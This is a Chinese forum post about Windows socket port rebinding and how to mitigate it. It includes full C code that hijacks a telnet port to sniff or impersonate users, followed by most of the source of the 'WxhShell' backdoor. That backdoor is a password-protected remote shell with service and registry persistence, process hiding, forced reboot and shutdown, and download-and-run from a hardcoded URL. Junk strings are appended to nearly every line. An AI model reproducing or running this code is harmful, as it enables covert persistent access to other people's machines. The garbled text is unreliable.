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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: #usi1UWB#Q  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); yAz`n[  
?:73O`sX:  
  saddr.sin_family = AF_INET; 8,d<&3D  
.-2i9Bh6  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); dF$a52LS  
lO&TSPD^  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Eh/B[u7T[  
kcGs2Y_*&  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 =aR'S\<  
AJ1(q:P  
  这意味着什么?意味着可以进行如下的攻击: 0~ !).f  
lJ1_Zs `  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Z Z|a`U  
JDeG@N$  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) hUN]Lm6M  
=8:m:Y&|`G  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 A Ws y9  
>1u!(-A  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  &Z3g$R 9  
6a$=m3ic  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 x$ z9:'U  
H*s_A/$  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 TN!8J=sx.  
<\40?*2  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 O1!hSu&  
0$Rl78>(  
  #include $ <'i+kK  
  #include z !2-U  
  #include Y7{|iw(#  
  #include    J=v" HeVm  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Vm\ly;v'R  
  int main() QCjC|T9  
  { b'F#Y9  
  WORD wVersionRequested; R{={7.As+  
  DWORD ret; TrA&yXXL  
  WSADATA wsaData; [l"|x75-  
  BOOL val; otaB$Bb  
  SOCKADDR_IN saddr; a ^wGc+  
  SOCKADDR_IN scaddr; www#.D%'U  
  int err; 5A^$!q P  
  SOCKET s; 3jH-!M5  
  SOCKET sc; )*6 ]m1  
  int caddsize; aLa{zB  
  HANDLE mt; kC:GEY<N:Q  
  DWORD tid;   O.OPIQ=?:w  
  wVersionRequested = MAKEWORD( 2, 2 ); W\f u0^  
  err = WSAStartup( wVersionRequested, &wsaData ); N1dv}!/*.+  
  if ( err != 0 ) { OAx5 LTd  
  printf("error!WSAStartup failed!\n"); `?@7T-v  
  return -1; E&js`24 &  
  } @q8h'@sX  
  saddr.sin_family = AF_INET; 4R<bfZ43  
   y8~/EyY|^  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 (|Zah1k&]  
e0rh~@E  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Qy< ~{6V  
  saddr.sin_port = htons(23); SbrKNADH%  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9*`(*>S  
  { G!Gbg3:4e5  
  printf("error!socket failed!\n"); ~\ uI&S5  
  return -1; <WPLjgtn3  
  } b{X,0a{*  
  val = TRUE; _4+'@u #  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 |t<Uh,Bt  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) /<"<N<X  
  {  Y7q=]  
  printf("error!setsockopt failed!\n"); B}O M:0  
  return -1; _6O\*|'6  
  } `Ckx~'1M:  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; p>9-Ga  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 A!xx#+M  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 O:G5n 5J  
p0r:U< &  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) p1}m_  
  { ]|6)'L&]*s  
  ret=GetLastError(); Wra$  
  printf("error!bind failed!\n"); Xu[(hT6  
  return -1; qhE1 7Hf  
  } 8 16OV  
  listen(s,2); w^/jlddF  
  while(1) #Cy9E"lP  
  { [9c|!w^F  
  caddsize = sizeof(scaddr); c}$C=s5 h}  
  //接受连接请求 l:'\3-2a  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); a%FM)/oI|T  
  if(sc!=INVALID_SOCKET) 0-VC$)S  
  { <r`^iR)%  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); m@A?'gD  
  if(mt==NULL) 3]z%C'  
  { u[Ij4h.  
  printf("Thread Creat Failed!\n"); %]U'   
  break;  MjjN  
  } /);S?7u.  
  } +Y|1 7 n  
  CloseHandle(mt); KO!.VxG]_  
  } R}T8cVxc  
  closesocket(s); ?q lpi(  
  WSACleanup(); q eW{Cl~  
  return 0; qG&}lg?g{  
  }   /RF=8,A  
  DWORD WINAPI ClientThread(LPVOID lpParam) EklcnM|6  
  { V{D~e0i/v  
  SOCKET ss = (SOCKET)lpParam; n^xB_DJ~  
  SOCKET sc; wr`+xYuuC=  
  unsigned char buf[4096]; \jHHj\LLr.  
  SOCKADDR_IN saddr; +xL*`fn  
  long num; 1Uy'TEk  
  DWORD val; IGKtugU%  
  DWORD ret; D~^P}_e.  
  //如果是隐藏端口应用的话,可以在此处加一些判断 9^4BqAWYrV  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ;]c:0W '  
  saddr.sin_family = AF_INET; #uc9eh}CWO  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); j92X"yB  
  saddr.sin_port = htons(23); d~hN`ff  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |mS-<e8LY4  
  { gt>k]0  
  printf("error!socket failed!\n"); WR<,[*Mv^  
  return -1; P #PRzt  
  } 7kT&}`g.  
  val = 100; }M0GPpv  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) g]mR;T3  
  { rYn)E=FG/  
  ret = GetLastError(); *ydh.R<hb  
  return -1; C)z?-f  
  } 7A=*3  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) D\@)*"  
  { X?B\+dq  
  ret = GetLastError(); 4DTT/ER'qA  
  return -1; C{<dzooz  
  } +9fQ YJBA  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) f_m~_`m  
  { Uv|?@zy#  
  printf("error!socket connect failed!\n"); <0h,{28  
  closesocket(sc); {^ jRV@  
  closesocket(ss); FpYeuH%  
  return -1; JjC& io  
  } J=`2{ 'l  
  while(1) Rk$  
  { CTP!{<ii  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 tbm/gOBw  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 YLU.]UC  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 . l>.  
  num = recv(ss,buf,4096,0); %p}xW V.  
  if(num>0) =cwdl7N&I  
  send(sc,buf,num,0); ~:xR0dqx  
  else if(num==0) ,bRYqU?#0  
  break; ;4s7\9o  
  num = recv(sc,buf,4096,0); ny'wS  
  if(num>0) VEG p!~D  
  send(ss,buf,num,0); 7 ~9Lj  
  else if(num==0) pl.x_E,HP  
  break; kBlk^=h<:w  
  } :< *xG&  
  closesocket(ss); 8iwH^+h~  
  closesocket(sc); gK_#R]  
  return 0 ; Ja[7/  
  } ,T;T %/ S  
mJYG k_ua  
C.(<IcSG  
========================================================== zEMZz$Y  
tm|YUat$]r  
下边附上一个代码,,WXhSHELL :={rPj-nU  
6-t:eo9  
========================================================== 9H%dK^C  
OBEHUJ5  
#include "stdafx.h" DPM4v7 S  
iQ8T3cC+  
#include <stdio.h> sz@Y$<o  
#include <string.h> c*DBa]u2  
#include <windows.h> u$Ty|NBjn  
#include <winsock2.h> 6Q~(ibKx  
#include <winsvc.h> KGP*G BZr  
#include <urlmon.h> ?Hrj}K27  
m+=L}[  
#pragma comment (lib, "Ws2_32.lib") XbYST%| .  
#pragma comment (lib, "urlmon.lib") Q*W$!ZUT  
mFx \[S  
#define MAX_USER   100 // 最大客户端连接数 s)-O{5;U  
#define BUF_SOCK   200 // sock buffer pkEx.R)  
#define KEY_BUFF   255 // 输入 buffer Y$<p_X,  
?d5_{*]+v  
#define REBOOT     0   // 重启 pzFM#   
#define SHUTDOWN   1   // 关机 gaC [%M  
.qfU^AHA  
#define DEF_PORT   5000 // 监听端口 Zk<Y+!  
Cb i;CF\{  
#define REG_LEN     16   // 注册表键长度 k* e $_  
#define SVC_LEN     80   // NT服务名长度 ]uZaj?%J<  
M}\p/r=  
// 从dll定义API K]H [A,  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); m;oCi }fL  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =DsFR9IB  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ohlCuH 3  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); xDO1gnH%  
w%uM=YmuT  
// wxhshell配置信息 & oj$h  
struct WSCFG { kj]m@mS[  
  int ws_port;         // 监听端口 T;1aL4w"  
  char ws_passstr[REG_LEN]; // 口令 f|NWn`#bY  
  int ws_autoins;       // 安装标记, 1=yes 0=no mXJ`t5v^l  
  char ws_regname[REG_LEN]; // 注册表键名 _`d=0l*8  
  char ws_svcname[REG_LEN]; // 服务名 D`hg+64}  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 =`/GB T$  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ^CfWLL& c  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 `-yiVUp1:z  
int ws_downexe;       // 下载执行标记, 1=yes 0=no W+'f|J=  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" eQ80Kf~  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 5XF&yYWq  
wfq}NK;  
}; /=gU  
xv 9 G%  
// default Wxhshell configuration w1:%P36H  
struct WSCFG wscfg={DEF_PORT, #m6W7_  
    "xuhuanlingzhe", :)j& t>aP  
    1, +BgUnu26  
    "Wxhshell", Lj Y@b  
    "Wxhshell", xW+ XN`77  
            "WxhShell Service", }S=m: VKH  
    "Wrsky Windows CmdShell Service", @ev8"JZ1  
    "Please Input Your Password: ", AVi,+n  
  1, Zd~Q@+sH  
  "http://www.wrsky.com/wxhshell.exe", E, ;'n  
  "Wxhshell.exe" 5.U4P<qS  
    }; !~!\=etm  
U*cWNn:."  
// 消息定义模块 :BVYS|%  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; J"?jaa2~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 7z9[\]tt  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; V\P .uOI  
char *msg_ws_ext="\n\rExit."; 5z@QAQ  
char *msg_ws_end="\n\rQuit."; }c ,:uN  
char *msg_ws_boot="\n\rReboot..."; ;wF)!d  
char *msg_ws_poff="\n\rShutdown..."; :IRQouTf:,  
char *msg_ws_down="\n\rSave to "; TLT6z[  
nV>=n,+s"  
char *msg_ws_err="\n\rErr!"; 9RmdQ]1n4  
char *msg_ws_ok="\n\rOK!"; k56*eEc  
GK[[e~#u  
char ExeFile[MAX_PATH]; nna boD  
int nUser = 0; [WN2ZQ  
HANDLE handles[MAX_USER]; ,'a[1RN  
int OsIsNt; a{+;&j[!  
NUM+tg>KM  
SERVICE_STATUS       serviceStatus; my*E7[  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; , %$Cfu  
YE[{Y(5;q  
// 函数声明 9YVr9BM'K  
int Install(void); 6UAw9 'X8  
int Uninstall(void); K(heeZUt  
int DownloadFile(char *sURL, SOCKET wsh); [5wU0~>'  
int Boot(int flag); o>MB8[r  
void HideProc(void); '$y.`/$  
int GetOsVer(void); m?]= =9  
int Wxhshell(SOCKET wsl); '=1@,Skj-  
void TalkWithClient(void *cs); y7-dae k  
int CmdShell(SOCKET sock); =aCd,4B}  
int StartFromService(void); 4ad-'  
int StartWxhshell(LPSTR lpCmdLine); an,JV0  
+{[E Ow  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ~'t+X  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); c'uDK>  
 R7ExMJw  
// 数据结构和表定义 ]:Sb#=,!&!  
SERVICE_TABLE_ENTRY DispatchTable[] = g]m}@b6(h  
{ Mk|*=#e;  
{wscfg.ws_svcname, NTServiceMain}, ?7Skk  
{NULL, NULL} ]6;oS-4gu?  
}; E#/vgm=W;  
I^!c1S  
// 自我安装 xG|n7w*  
int Install(void) 7-2,|(Xg  
{ <-N7Skkk!  
  char svExeFile[MAX_PATH]; &D#B"XI  
  HKEY key; wY_! s Qo  
  strcpy(svExeFile,ExeFile); }080=E  
*(j -jbA  
// 如果是win9x系统,修改注册表设为自启动 uV\~2#o$_  
if(!OsIsNt) { f\c%G=y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Dt Ry%fA_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i$dF0.}Q  
  RegCloseKey(key); Rq,Fp/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #r;uM+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Rkh ^|_<!  
  RegCloseKey(key); $*vj7V_  
  return 0; R*>EbOuI  
    } Yy4l -}"  
  } 7U`8W\-  
} PLs(+>H  
else { Ujfs!ikh&F  
7!('+x(>  
// 如果是NT以上系统,安装为系统服务 )d7U3i  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 4<y|SI!  
if (schSCManager!=0) mcLxX'c6<h  
{ %nT&  
  SC_HANDLE schService = CreateService YA*E93J0  
  ( 28=L9q   
  schSCManager, >|_B=<!99W  
  wscfg.ws_svcname, <:I]0|[  
  wscfg.ws_svcdisp, EV|L~^Q  
  SERVICE_ALL_ACCESS, kd+tD!:F(  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , y3!#*NU  
  SERVICE_AUTO_START, mFJb9 ,  
  SERVICE_ERROR_NORMAL, u%rB]a$/  
  svExeFile, S<nbNSu6+  
  NULL, n_1,-(t  
  NULL, zJT,Hv .  
  NULL, cDqj&:$e  
  NULL, V(<(k,8=  
  NULL .tt=\R  
  ); Su/}OS\R  
  if (schService!=0) CpdQ]Ai[  
  {  Sn-D|Z  
  CloseServiceHandle(schService); VQHQvFRZ)  
  CloseServiceHandle(schSCManager); G L8 N!,  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); (5&l<u"K~  
  strcat(svExeFile,wscfg.ws_svcname); &E$:^a4d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { p^i]{"sjbU  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); g%2twq_  
  RegCloseKey(key); LAPC L&Z  
  return 0;  cvO;xR  
    } <G#z;]N  
  } #Q$`3rr  
  CloseServiceHandle(schSCManager); m`H9^w%W  
} g0"KC X  
} -KU@0G  
 Wkc^?0p  
return 1; VO+3@d:  
} ff<ad l-  
i*ji   
// 自我卸载 ?Qdp#K]WX  
int Uninstall(void) ]WZi +  
{ iWMgU:T  
  HKEY key; dX ;G [\  
Jej-b<HmQ  
if(!OsIsNt) { I<L<xwh1(E  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { uc-Go 6W  
  RegDeleteValue(key,wscfg.ws_regname); n9r3CLb[  
  RegCloseKey(key); wVY;)1?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~ZXAW~a}  
  RegDeleteValue(key,wscfg.ws_regname); C! J6"j  
  RegCloseKey(key); ~n`G>Oe3  
  return 0; W.VyH|?  
  } 2Ik@L,  
} X^ZUm  
} ffE&=eh)  
else { uq_h8JH$  
6v9A7g;4.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); /dt'iai~l  
if (schSCManager!=0) e \ rb  
{ |q*s)8  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); )uIH onXU  
  if (schService!=0) c0W4<(  
  { TLiA>`r=  
  if(DeleteService(schService)!=0) { B#9T6|2  
  CloseServiceHandle(schService); ky98Bz%  
  CloseServiceHandle(schSCManager); {;j@-=pV  
  return 0; _=68iDXm  
  } >Gyg`L\  
  CloseServiceHandle(schService); {uuvgFC  
  } Il,^/qvIY  
  CloseServiceHandle(schSCManager); 5 ,1q%  
} @dp1bkU  
} {glRX R  
&+>)H$5  
return 1; 6 &)fZt  
} ."\&;:ZNv  
=*?2+ ;  
// 从指定url下载文件 )XAD#GYM  
int DownloadFile(char *sURL, SOCKET wsh) t(F] -[  
{ 4*aNdh[t.  
  HRESULT hr; @C fxPA  
char seps[]= "/"; ~ E|L4E  
char *token; yNu%D$6u7  
char *file; J>Uzd, /  
char myURL[MAX_PATH]; i&dMX:fRd  
char myFILE[MAX_PATH]; %*wOJx  
hr] :bR  
strcpy(myURL,sURL); VIjsz42C  
  token=strtok(myURL,seps); M`kR2NCi  
  while(token!=NULL) ,"!P{c  
  { *|DIG{  
    file=token; `nDgwp:b"  
  token=strtok(NULL,seps); 1*Ui=M4  
  } >{]mN5  
qg;f h]j%  
GetCurrentDirectory(MAX_PATH,myFILE); _Ak?i\  
strcat(myFILE, "\\"); Bz#K_S  
strcat(myFILE, file); 63?fn~0\  
  send(wsh,myFILE,strlen(myFILE),0); MJ:>ZRXC E  
send(wsh,"...",3,0); :,^pLAt  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); q$=EUB"C  
  if(hr==S_OK) >@o}l:*  
return 0; #Ua+P(1q  
else ,lly=OhKb  
return 1; fC4 D#  
=7c1l77z  
} : *Nvy={c  
hA81(JWG  
// 系统电源模块 @BZ6{@*  
int Boot(int flag) "wPFQXU  
{ SEc3`y;j%  
  HANDLE hToken; S6sw)  
  TOKEN_PRIVILEGES tkp; \KaWR  
|,ZmRW^2K  
  if(OsIsNt) { {m/\AG)1I  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); hL,+wJ+A  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); D~xU r )E  
    tkp.PrivilegeCount = 1; M7(vI4V  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 0Up@+R2  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); G/Xa`4"_  
if(flag==REBOOT) { \ l +RX*  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) G'<J8;B* t  
  return 0; Gd~Xvw,u  
} AVR9G^ce_  
else { QJ ueU%|  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) I,r 3.2u  
  return 0; x hFQjV?V  
} w 1E}F  
  } @awaN  
  else { /AR;O4X+  
if(flag==REBOOT) { ?zKVXK7}0  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) TIV1?S  
  return 0; pQxaT$  
} <)zh2UI  
else { WG;1[o&  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) S #X$QD  
  return 0; k})Ag7c  
} 'A,&9E{%1  
} Lrr^obc  
KLXv?4!  
return 1; l{4=La{?j  
} ^)b*"o  
buRXzSR  
// win9x进程隐藏模块 )Xa`LG =|  
void HideProc(void) /c`)Er 6d  
{ Y]b5qguK  
j8@YoD5o  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); L;xc,"\3  
  if ( hKernel != NULL ) yg "u^*r&  
  { B:tST(  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^6+P&MxM  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 6:B[8otQ  
    FreeLibrary(hKernel); cW,wN~  
  } *&B*/HAN  
x!q$`zF\\  
return; ,SJB 3if  
} .bvB8VOrW  
$.(>Sj1  
// 获取操作系统版本 O@3EJkv  
int GetOsVer(void) 3skq%;%Wsk  
{ vI ]| W  
  OSVERSIONINFO winfo; r]km1SrS  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); A5Yfm.Jy  
  GetVersionEx(&winfo); O!sZMGF$p  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ]?^m;~MQZ  
  return 1; KS'? DO  
  else  KEsMes(*  
  return 0; ~,Q+E8  
} _U$d.B'*)z  
!O)Ruwy  
// 客户端句柄模块 pq>"GEN  
int Wxhshell(SOCKET wsl) anA>'63  
{ -zHJ#  
  SOCKET wsh; GS~jNZx  
  struct sockaddr_in client; %Md;=,a:6  
  DWORD myID; Cdiu*#f  
m$A|Sx&sG$  
  while(nUser<MAX_USER) CIQo2~G  
{ Hw<t>z k  
  int nSize=sizeof(client); br<,?  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ? YX2CJ6N  
  if(wsh==INVALID_SOCKET) return 1; F%6al,8P  
PR~ho&!  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); uI-te~]  
if(handles[nUser]==0) "sf8~P9qy  
  closesocket(wsh); rO 6oVz#x  
else x!MYIaZ7  
  nUser++; of8/~VO  
  } UBi0 /  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); +|Xx=1_?BK  
]gkI:scPA  
  return 0; h5x FP  
} zXvAW7  
;-@^G 3C:  
// 关闭 socket w^NE`4 -  
void CloseIt(SOCKET wsh) &iL"=\#  
{ -GCGxC2u  
closesocket(wsh); +D`IcR-x  
nUser--; d~O\zLQ;  
ExitThread(0); #=5/D@  
} \Q?r+VZ  
~0|Hw.OK  
// 客户端请求句柄 ed2QGTgR  
void TalkWithClient(void *cs) ~DhYiOSo  
{ uOs 8|pj,  
Wze\z  
  SOCKET wsh=(SOCKET)cs; CP'?Om2  
  char pwd[SVC_LEN]; br>"96A1l  
  char cmd[KEY_BUFF]; E*.D_F  
char chr[1]; lz faW-nu  
int i,j; zOCru2/  
-JaC~v(0  
  while (nUser < MAX_USER) { tV@!jaj\  
Cz+>S3v M  
if(wscfg.ws_passstr) { zm9>"(H  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :u`  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \$V~kgQ0  
  //ZeroMemory(pwd,KEY_BUFF); R.!'&<Svq  
      i=0; -j`tBv)  
  while(i<SVC_LEN) { 5"c#O U  
:U0z;  
  // 设置超时 eFp4MD8?  
  fd_set FdRead; %w=*4!NWb  
  struct timeval TimeOut; w8kp6_i'  
  FD_ZERO(&FdRead); 7\rz*  
  FD_SET(wsh,&FdRead); N{tNe-5  
  TimeOut.tv_sec=8; pz6fL=Xd  
  TimeOut.tv_usec=0; My76]\Psh  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); n87B[R  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); x;99[C!$  
+S5"4<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \d2Ku10v[  
  pwd=chr[0]; ; ob>$ _  
  if(chr[0]==0xd || chr[0]==0xa) { VjBV2x  
  pwd=0; PiMh]  0  
  break; #Fl "#g$  
  } H@qA X  
  i++; b/Z=FS2T  
    } t`o-HWfS.  
xD,BlDV  
  // 如果是非法用户,关闭 socket "b8<C>wY  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); z^T/kK3I  
} :&HrOdz  
_)yn6M'Dt  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); vXAO#'4tm%  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ZC@ 33Q(  
(2[tQ`~  
while(1) { 1CU-^ j  
r;g[<6`!S  
  ZeroMemory(cmd,KEY_BUFF); "6w-jT  
Vi?[yu<F  
      // 自动支持客户端 telnet标准   93$'PwWgiF  
  j=0; 1\=)b< y  
  while(j<KEY_BUFF) { C,P>7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Pb]: i+c)  
  cmd[j]=chr[0]; %# ?)+8"l  
  if(chr[0]==0xa || chr[0]==0xd) { ?]]> WP  
  cmd[j]=0; Fc M  
  break; IC{\iwO/~c  
  } U}~SY  
  j++; z8G1[ElY  
    } NGOc:>}k>  
o|*ao2a  
  // 下载文件 l<>syHCH;L  
  if(strstr(cmd,"http://")) { [`BMi-WQ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); +)h*)  
  if(DownloadFile(cmd,wsh)) __fa,kK{?  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); =J&vr  
  else 'X d_8.  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s {p-cV  
  } W,9. z%  
  else { $l@nk@  
e;GLPB   
    switch(cmd[0]) { 26.),a  
  \1cay#X  
  // 帮助 ig5 d-A  
  case '?': { 'G;y!<a  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9E5Ec~l  
    break; 3gV 17a  
  } XZD9vFj1Z  
  // 安装 zePVB -@u  
  case 'i': { 2a|9D \  
    if(Install()) As }:~Jy|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FNL[6.!PV  
    else M{cF14cQ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k&wCa<Rs~R  
    break; Z0uo. H@.N  
    } }^U7NZn<"  
  // 卸载  +:k Iq  
  case 'r': { b;G3&R]  
    if(Uninstall()) -c|dTZ8D)8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); AiKja>Fl<  
    else   V` 7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I .jB^  
    break; W=:4I[a6Q  
    } )c!7V)z  
  // 显示 wxhshell 所在路径 "HX,RJ @^K  
  case 'p': { XHs>Q>`  
    char svExeFile[MAX_PATH]; xucrp::g  
    strcpy(svExeFile,"\n\r"); wCw-EGLR  
      strcat(svExeFile,ExeFile); %Xc50n2Z  
        send(wsh,svExeFile,strlen(svExeFile),0); sQUJ]h  
    break; 3D32'KO_"  
    } NbgK# ;  
  // 重启 zGzeu)d  
  case 'b': { N^</:R  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5x856RQ'  
    if(Boot(REBOOT)) nwuH:6~"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); eB%hP9=:x  
    else { XrP'FLY o  
    closesocket(wsh); Sk7l&B  
    ExitThread(0); nb-]fa  
    } %3b;`Oa  
    break; #gn{X!;-;  
    } _ 3@[S F  
  // 关机 yvR3|  
  case 'd': { `#@#e Z  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 7QV@lR<C2R  
